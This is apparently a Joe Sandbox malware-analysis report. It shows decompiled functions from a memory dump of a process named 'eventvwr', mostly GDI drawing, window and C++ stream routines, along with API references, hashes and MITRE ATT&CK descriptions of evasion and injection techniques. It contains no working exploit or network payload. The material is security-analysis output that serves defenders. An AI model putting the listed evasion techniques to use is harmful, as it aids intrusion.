Function 00C11772, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00C11772(unsigned int __eax, signed long long* __edi, signed long long __fp0, unsigned int _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v24;
				signed long long _v32;
				signed long long _v40;
				signed int _t49;
				unsigned int _t51;
				signed int _t52;
				signed int _t54;
				void* _t56;
				unsigned int _t57;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t75;
				void* _t76;
				void* _t77;
				void* _t78;
				signed long long* _t80;
				signed long long _t92;

				_t91 = __fp0;
				_t80 = __edi;
				_t57 = __eax;
				_t69 = rand() % ((_a4 >> 1) - 1);
				_v12 = _t69;
				asm("fild dword [ebp-0x8]");
				if(_t69 < 0) {
					_t91 = __fp0 +  *0xc14438;
				}
				_v32 = _t91;
				_t71 = rand() % ((_t57 >> 1) - 1);
				_v12 = _t71;
				asm("fild dword [ebp-0x8]");
				if(_t71 < 0) {
					_t91 = _t91 +  *0xc14438;
				}
				_v40 = _t91;
				asm("fild dword [ebp+0x8]");
				if(_a4 < 0) {
					_t91 = _t91 +  *0xc14438;
				}
				_v16 = _t91;
				_t49 = rand();
				asm("cdq");
				_t51 = _t57;
				_a4 = _t49 % (_a4 - 1);
				asm("fild dword [ebp+0x8]");
				_a4 = _t51;
				_t92 = _t91 / _v16;
				 *_t80 = _t92;
				asm("fild dword [ebp+0x8]");
				if(_t51 < 0) {
					_t92 = _t92 +  *0xc14438;
				}
				_v24 = _t92;
				_t52 = rand();
				asm("cdq");
				_a4 = _t52 % (_t57 - 1);
				asm("fild dword [ebp+0x8]");
				_t80[1] = _t92 / _v24;
				_t80[2] = _v32 / _v16;
				_t80[3] = _v40 / _v24;
				_t54 = rand();
				asm("cdq");
				_t67 = 5;
				_t75 = _t54 % _t67;
				if(_t75 == 0) {
					_t56 =  *0xc165c4; // 0x0
				} else {
					_t76 = _t75 - 1;
					if(_t76 == 0) {
						_t56 =  *0xc165c8; // 0x0
					} else {
						_t77 = _t76 - 1;
						if(_t77 == 0) {
							_t56 =  *0xc165cc; // 0x0
						} else {
							_t78 = _t77 - 1;
							if(_t78 == 0) {
								_t56 =  *0xc165d0; // 0x0
							} else {
								if(_t78 == 1) {
									_t56 =  *0xc165d4; // 0x0
								} else {
									_t56 = GetStockObject(0);
								}
							}
						}
					}
				}
				_t80[4] = _t56;
				return _t56;
			}

APIs

rand.MSVCR90 ref: 00C11782
rand.MSVCR90 ref: 00C117A1
rand.MSVCR90 ref: 00C117D2
rand.MSVCR90 ref: 00C117FB
rand.MSVCR90 ref: 00C1181F
GetStockObject.GDI32(00000000), ref: 00C1183A

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: rand$ObjectStock
String ID:
API String ID: 2053096085-0
Opcode ID: 819f3d62ee0b8f6cf48ad670f3b638b13b9617d09058176fc58f79ccc57ea27f
Instruction ID: e7643493a13bb53a671e8a5066dac4c0687e14cdfff3b9327c012c254a12d23a
Opcode Fuzzy Hash: 819f3d62ee0b8f6cf48ad670f3b638b13b9617d09058176fc58f79ccc57ea27f
Instruction Fuzzy Hash: FE319130E08919E7DB089F5AE8847ECBFB6FB86300F66C059D945561C0DB719EE0EB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C11271, Relevance: 9.0, APIs: 6, Instructions: 40
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00C11271(struct HWND__* _a4) {
				struct tagRECT _v20;
				struct HDC__* _t9;
				void* _t14;
				struct HDC__* _t17;
				struct HDC__* _t19;

				_t9 =  *0xc165a0; // 0x0
				if(_t9 == 0) {
					GetClientRect(_a4,  &_v20);
					_t19 = GetDC(_a4);
					 *0xc165a0 = CreateCompatibleDC(_t19);
					_t14 = CreateCompatibleBitmap(_t19, _v20.right - _v20.left, _v20.bottom - _v20.top);
					 *0xc165a4 = _t14;
					SelectObject( *0xc165a0, _t14);
					ReleaseDC(_a4, _t19);
					_t17 =  *0xc165a0; // 0x0
					return _t17;
				}
				return _t9;
			}

0x00c11274
0x00c1127e
0x00c1128a
0x00c112a5
0x00c112b1
0x00c112b6
0x00c112c3
0x00c112c8
0x00c112d2
0x00c112d8
0x00000000
0x00c112df
0x00c112e1

APIs

GetClientRect.USER32 ref: 00C1128A
GetDC.USER32(?), ref: 00C1129F
CreateCompatibleDC.GDI32(00000000), ref: 00C112A8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00C112B6
SelectObject.GDI32(00000000), ref: 00C112C8
ReleaseDC.USER32 ref: 00C112D2

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: CompatibleCreate$BitmapClientObjectRectReleaseSelect
String ID:
API String ID: 4043710568-0
Opcode ID: 6639f86322639685d7d24f3f9ada74817a804ee3b36deaef86ee848f2411f0b5
Instruction ID: f5d02cee94193154edec8b93df7064e39313fa69b13995866e95c490347eb79c
Opcode Fuzzy Hash: 6639f86322639685d7d24f3f9ada74817a804ee3b36deaef86ee848f2411f0b5
Instruction Fuzzy Hash: 9701E876500208EFCF049FA9EC48BEE7F79FB4A3957008419FA01E3224E730A940DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C111BA, Relevance: 9.0, APIs: 6, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00C111BA() {
				void* __esi;
				struct HDC__* _t10;
				void* _t11;
				void* _t12;
				int _t13;

				E00C11C1E(0xc165f4);
				E00C11C1E(0xc16610);
				DeleteObject( *0xc165c0);
				DeleteObject( *0xc165c4);
				DeleteObject( *0xc165c8);
				DeleteObject( *0xc165cc);
				DeleteObject( *0xc165d0);
				DeleteObject( *0xc165d4);
				 *0xc165c0 = 0;
				 *0xc165c4 = 0;
				 *0xc165c8 = 0;
				 *0xc165cc = 0;
				 *0xc165d0 = 0;
				 *0xc165d4 = 0;
				_pop(_t19);
				_t10 =  *0xc165a0; // 0x0
				if(_t10 != 0) {
					DeleteDC(_t10);
					 *0xc165a0 =  *0xc165a0 & 0x00000000;
				}
				_t11 =  *0xc165a4; // 0x0
				if(_t11 != 0) {
					DeleteObject(_t11);
					 *0xc165a4 =  *0xc165a4 & 0x00000000;
				}
				_t12 =  *0xc165d8; // 0x0
				if(_t12 != 0) {
					_t13 = DeleteObject(_t12);
					 *0xc165d8 =  *0xc165d8 & 0x00000000;
					return _t13;
				}
				return _t12;
			}

APIs

Part of subcall function 00C11C1E: ??3@YAXPAX@Z.MSVCR90 ref: 00C11C38

DeleteObject.GDI32(7743A770), ref: 00C111DB
DeleteObject.GDI32 ref: 00C111E3
DeleteObject.GDI32 ref: 00C111EB
DeleteObject.GDI32 ref: 00C111F3
DeleteObject.GDI32 ref: 00C111FB
DeleteObject.GDI32 ref: 00C11203

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: DeleteObject$??3@
String ID:
API String ID: 3140518222-0
Opcode ID: 3ac9f387272ff8b478c8f1a6f58182ddf51d255a94430ef50e58e2bbb14f3913
Instruction ID: cb56bf464c8c4170a4a9be68876ff5f3528efd920cb0c8c5f21efbf5a52bb918
Opcode Fuzzy Hash: 3ac9f387272ff8b478c8f1a6f58182ddf51d255a94430ef50e58e2bbb14f3913
Instruction Fuzzy Hash: 1CF014719411249ECB51AF25ED057CD3EABF70B3643058077D508D2279EB320894EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C11EAD, Relevance: 7.6, APIs: 5, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E00C11EAD(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t49;
				intOrPtr _t53;
				intOrPtr _t57;
				intOrPtr _t61;
				void* _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				signed int _t78;
				signed int _t80;
				void* _t81;
				intOrPtr _t89;
				void* _t91;
				intOrPtr* _t93;
				void* _t94;
				signed int _t100;

				_push(0x14);
				E00C130EB(E00C13308, __ebx, __edi, __esi);
				_t93 =  *((intOrPtr*)(_t94 + 8));
				_t49 =  *((intOrPtr*)(_t94 + 0xc));
				_t80 = 0;
				 *(_t94 - 0x14) = 0;
				_t81 = _t49 + 1;
				do {
					_t89 =  *_t49;
					_t49 = _t49 + 1;
				} while (_t89 != 0);
				_t91 = _t49 - _t81;
				_t53 =  *((intOrPtr*)( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18));
				if(_t53 > 0 && _t53 > _t91) {
					_t78 = _t53 - _t91;
					_t100 = _t78;
					_t80 = _t78;
				}
				_push(_t94 - 0x20);
				E00C11CCA(_t91, _t93, _t100);
				 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
				if( *((char*)(_t94 - 0x1c)) != 0) {
					 *(_t94 - 4) = 1;
					_t57 =  *((intOrPtr*)( *_t93 + 4));
					__eflags = ( *(_t57 + _t93 + 0x10) & 0x000001c0) - 0x40;
					if(( *(_t57 + _t93 + 0x10) & 0x000001c0) == 0x40) {
						L12:
						_t61 =  *((intOrPtr*)( *_t93 + 4));
						__imp__?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z( *((intOrPtr*)(_t94 + 0xc)), _t91);
						__eflags = _t61 - _t91;
						if(_t61 == _t91) {
							while(1) {
								__eflags = _t80;
								if(_t80 <= 0) {
									goto L14;
								}
								_t72 =  *((intOrPtr*)( *_t93 + 4)) + _t93;
								_t73 =  *((intOrPtr*)(_t72 + 0x28));
								 *((char*)(_t94 - 0x18)) =  *((intOrPtr*)(_t72 + 0x30));
								__imp__?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z( *((intOrPtr*)(_t94 - 0x18)));
								__eflags = _t73 - 0xffffffff;
								if(_t73 != 0xffffffff) {
									_t80 = _t80 - 1;
									continue;
								} else {
									 *(_t94 - 0x14) =  *(_t94 - 0x14) | 0x00000004;
									goto L14;
								}
								L21:
							}
						} else {
							 *(_t94 - 0x14) = 4;
						}
					} else {
						while(1) {
							__eflags = _t80;
							if(_t80 <= 0) {
								break;
							}
							_t76 =  *((intOrPtr*)( *_t93 + 4)) + _t93;
							_t77 =  *((intOrPtr*)(_t76 + 0x28));
							 *((char*)(_t94 - 0x18)) =  *((intOrPtr*)(_t76 + 0x30));
							__imp__?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z( *((intOrPtr*)(_t94 - 0x18)));
							__eflags = _t77 - 0xffffffff;
							if(_t77 != 0xffffffff) {
								_t80 = _t80 - 1;
								continue;
							} else {
								_t22 = _t94 - 0x14;
								 *_t22 =  *(_t94 - 0x14) | 0x00000004;
								__eflags =  *_t22;
							}
							break;
						}
						__eflags =  *(_t94 - 0x14);
						if( *(_t94 - 0x14) == 0) {
							goto L12;
						}
					}
					L14:
					 *( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18) =  *( *((intOrPtr*)( *_t93 + 4)) + _t93 + 0x18) & 0x00000000;
					_t33 = _t94 - 4;
					 *_t33 =  *(_t94 - 4) & 0x00000000;
					__eflags =  *_t33;
				} else {
					 *(_t94 - 0x14) = 4;
				}
				__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z( *(_t94 - 0x14), 0);
				 *(_t94 - 4) =  *(_t94 - 4) | 0xffffffff;
				_push(_t94 - 0x20);
				E00C11D28(_t93,  *(_t94 - 4));
				return E00C13121(_t93);
				goto L21;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 00C11EB4
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F33
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z.MSVCP90(?,?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F55
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP90(?,00000000), ref: 00C11F81
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?), ref: 00C11FBB

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@H_prolog3_catch
String ID:
API String ID: 1934335076-0
Opcode ID: 42d4b20e9b5760a3dbce8ed36a7011867400e62ba9c9d2efdd2165f8666af61a
Instruction ID: 016cf85252668003b2648736761e1e82606584cd3335aae2cfd99635070e640f
Opcode Fuzzy Hash: 42d4b20e9b5760a3dbce8ed36a7011867400e62ba9c9d2efdd2165f8666af61a
Instruction Fuzzy Hash: 6C415034A002458FCB11CF99C589BED7BF0AF1A314F284558EA51DB3A2C739DE85DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00C11DA6, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00C11DA6(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t11;
				void* _t18;
				void* _t19;
				void* _t23;
				void* _t24;

				_t19 = __edx;
				_t18 = __ecx;
				_push(0x44);
				E00C130B8(E00C13350, __ebx, __edi, __esi);
				_t11 =  *((intOrPtr*)(__ecx + 0x18));
				_t23 = 0x6666666 - _t11;
				if(0x6666666 < __edx) {
					_t18 = _t24 - 0x28;
					__imp__??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z("list<T> too long");
					_t3 = _t24 - 4;
					 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
					_push(_t24 - 0x28);
					_push(_t24 - 0x50);
					E00C11083(_t23,  *_t3);
					_push(0xc14748);
					_t11 = _t24 - 0x50;
					_push(_t11);
					L00C131EC();
				}
				_t12 = _t11 + _t19;
				 *((intOrPtr*)(_t18 + 0x18)) = _t11 + _t19;
				return E00C13121(_t12);
			}

APIs

__EH_prolog3.LIBCMT ref: 00C11DAD
??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP90(list<T> too long,00000044,00C11C74,?,?,?,?,00C165F4,?,00C1176B,00C165F4,?,?,011767E0), ref: 00C11DC8

Part of subcall function 00C11083: __EH_prolog3.LIBCMT ref: 00C1108A
Part of subcall function 00C11083: ??0exception@std@@QAE@XZ.MSVCR90(00000000,00C11DDF,?,?), ref: 00C11094
Part of subcall function 00C11083: ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z.MSVCP90(?), ref: 00C110AA

_CxxThrowException.MSVCR90(?,00C14748), ref: 00C11DE8

Strings

list<T> too long, xrefs: 00C11DC0

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@H_prolog3U?$char_traits@V?$allocator@$??0exception@std@@ExceptionThrowV01@@
String ID: list<T> too long
API String ID: 265151731-4027344264
Opcode ID: ab2da16fa2daeb6d69ec4c56d119111b970747fd1431d735683dd4ecdb1c03cd
Instruction ID: 30e903c907c844b2f57704f5f81bfbdf00e215bef716f57bff4e8b732d486b52
Opcode Fuzzy Hash: ab2da16fa2daeb6d69ec4c56d119111b970747fd1431d735683dd4ecdb1c03cd
Instruction Fuzzy Hash: 30F0A072D00248ABCF04EBE0E846ADC77B86B0A304FA80028E100E7150EA75CB85F7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C12435, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C12435(struct HINSTANCE__* __eax, int _a4) {
				struct tagRECT _v20;
				struct HWND__* _t24;

				 *0xc1640c = __eax;
				_t24 = CreateWindowExW(0, 0xc16410, 0xc164d8, 0xcf0000, 0x80000000, 0, 0x80000000, 0, 0, 0, __eax, 0);
				if(_t24 != 0) {
					GetClientRect(_t24,  &_v20);
					E00C11129(_v20.right - _v20.left, _v20.bottom - _v20.top);
					ShowWindow(_t24, _a4);
					UpdateWindow(_t24);
					return 1;
				}
				return 0;
			}

0x00c12444
0x00c12467
0x00c1246b
0x00c12476
0x00c1248a
0x00c12495
0x00c1249c
0x00000000
0x00c124a4
0x00000000

APIs

CreateWindowExW.USER32 ref: 00C12461
GetClientRect.USER32 ref: 00C12476
ShowWindow.USER32(00000000,00C1235C,?,?,00C1235C,?), ref: 00C12495
UpdateWindow.USER32(00000000), ref: 00C1249C

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Window$ClientCreateRectShowUpdate
String ID:
API String ID: 2980773425-0
Opcode ID: e538f873d972a54e773443fea960c5821c5e85220614da626e6234382dec7350
Instruction ID: 046a31a6a618d5cf8b0d088eba916c7c231a82ceb2fa9a0c274777916678f684
Opcode Fuzzy Hash: e538f873d972a54e773443fea960c5821c5e85220614da626e6234382dec7350
Instruction Fuzzy Hash: 4B01FF76540124BE9710DBA9DC49EFF7FACEB4B660B204414F919D2150D624954196A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C119A1, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00C119A1(intOrPtr* __esi, struct HDC__* _a4, intOrPtr _a8) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _t19;
				void* _t21;
				void* _t25;
				void* _t30;
				intOrPtr* _t31;

				_t31 = __esi;
				_t19 = _a4;
				_t25 =  *((intOrPtr*)(__esi + 0xc)) -  *((intOrPtr*)(__esi + 4));
				_t30 =  *((intOrPtr*)(__esi + 8)) -  *__esi;
				_v16 = _t19;
				_v12 = CreateCompatibleDC(_t19);
				_t21 =  *0xc165d8; // 0x0
				if(_t21 == 0) {
					_push(_a8);
					_push(_v16);
					_t21 = E00C11A1F(__esi);
				}
				SelectObject(_v12, _t21);
				_v8 = 0;
				_v7 = 0;
				_v6 = 0xff;
				_v5 = 1;
				__imp__AlphaBlend(_v16,  *_t31,  *((intOrPtr*)(_t31 + 4)), _t30, _t25, _v12, 0, 0, _t30, _t25, _v8);
				return DeleteDC(_v12);
			}

APIs

CreateCompatibleDC.GDI32(?), ref: 00C119BB
SelectObject.GDI32(?,00000000), ref: 00C119E0
AlphaBlend.MSIMG32(?,?,00000000,?,?,?,00000000,00000000,?,?,00000000), ref: 00C11A0C
DeleteDC.GDI32(?), ref: 00C11A15

Part of subcall function 00C11A1F: OffsetRect.USER32(?,?,00000000), ref: 00C11A53

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: AlphaBlendCompatibleCreateDeleteObjectOffsetRectSelect
String ID:
API String ID: 2925259497-0
Opcode ID: 9843c6abacb897f562da379b821f7726391e4e0c7b5672ef64edef5d61ba351e
Instruction ID: 72bb423b19cc41ddac3dd5fffff233b36b0239f50e1c0fb60626185dfc99f4e3
Opcode Fuzzy Hash: 9843c6abacb897f562da379b821f7726391e4e0c7b5672ef64edef5d61ba351e
Instruction Fuzzy Hash: B1113935900248FFDF119FA9DC48F8EBFB9FF4A710F108099F655A21A0C731AA54AB20

Uniqueness

Uniqueness Score: -1.00%

Function 00C11D28, Relevance: 6.0, APIs: 4, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00C11D28(void* __esi, void* __eflags) {
				void* _t10;
				intOrPtr* _t11;
				void* _t14;
				void* _t19;
				intOrPtr* _t21;
				void* _t22;

				_t10 = E00C130B8(E00C132BF, _t14, _t19, __esi);
				_t21 =  *((intOrPtr*)(_t22 + 8));
				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
				__imp__?uncaught_exception@std@@YA_NXZ(0);
				if(_t10 == 0) {
					__imp__?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ();
				}
				 *(_t22 - 4) =  *(_t22 - 4) | 0xffffffff;
				_t11 =  *_t21;
				_t12 =  *((intOrPtr*)( *((intOrPtr*)( *_t11 + 4)) + _t11 + 0x28));
				if( *((intOrPtr*)( *((intOrPtr*)( *_t11 + 4)) + _t11 + 0x28)) != 0) {
					__imp__?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ();
				}
				return E00C13121(_t12);
			}

0x00c11d2f
0x00c11d34
0x00c11d37
0x00c11d3b
0x00c11d43
0x00c11d47
0x00c11d47
0x00c11d4d
0x00c11d51
0x00c11d58
0x00c11d5e
0x00c11d62
0x00c11d62
0x00c11d6d

APIs

__EH_prolog3.LIBCMT ref: 00C11D2F
?uncaught_exception@std@@YA_NXZ.MSVCP90(00000000,00C11F94,?), ref: 00C11D3B
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP90 ref: 00C11D47
?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP90 ref: 00C11D62

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?uncaught_exception@std@@H_prolog3Osfx@?$basic_ostream@Unlock@?$basic_streambuf@
String ID:
API String ID: 3571924652-0
Opcode ID: cbea2e82ea0336b9ecfa24c46ccdb8c4bc7403f7a2c9aed12364deeed6fc3b31
Instruction ID: 6ed55b6245841511601a1b0bfb9ff908c3cb25e3e3f850785f4a192bd71a00c0
Opcode Fuzzy Hash: cbea2e82ea0336b9ecfa24c46ccdb8c4bc7403f7a2c9aed12364deeed6fc3b31
Instruction Fuzzy Hash: 27E06D38200240DFDB14EF65D459B9C77B1BF1B315F24815CE6529B3A1CB329E45EB50

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

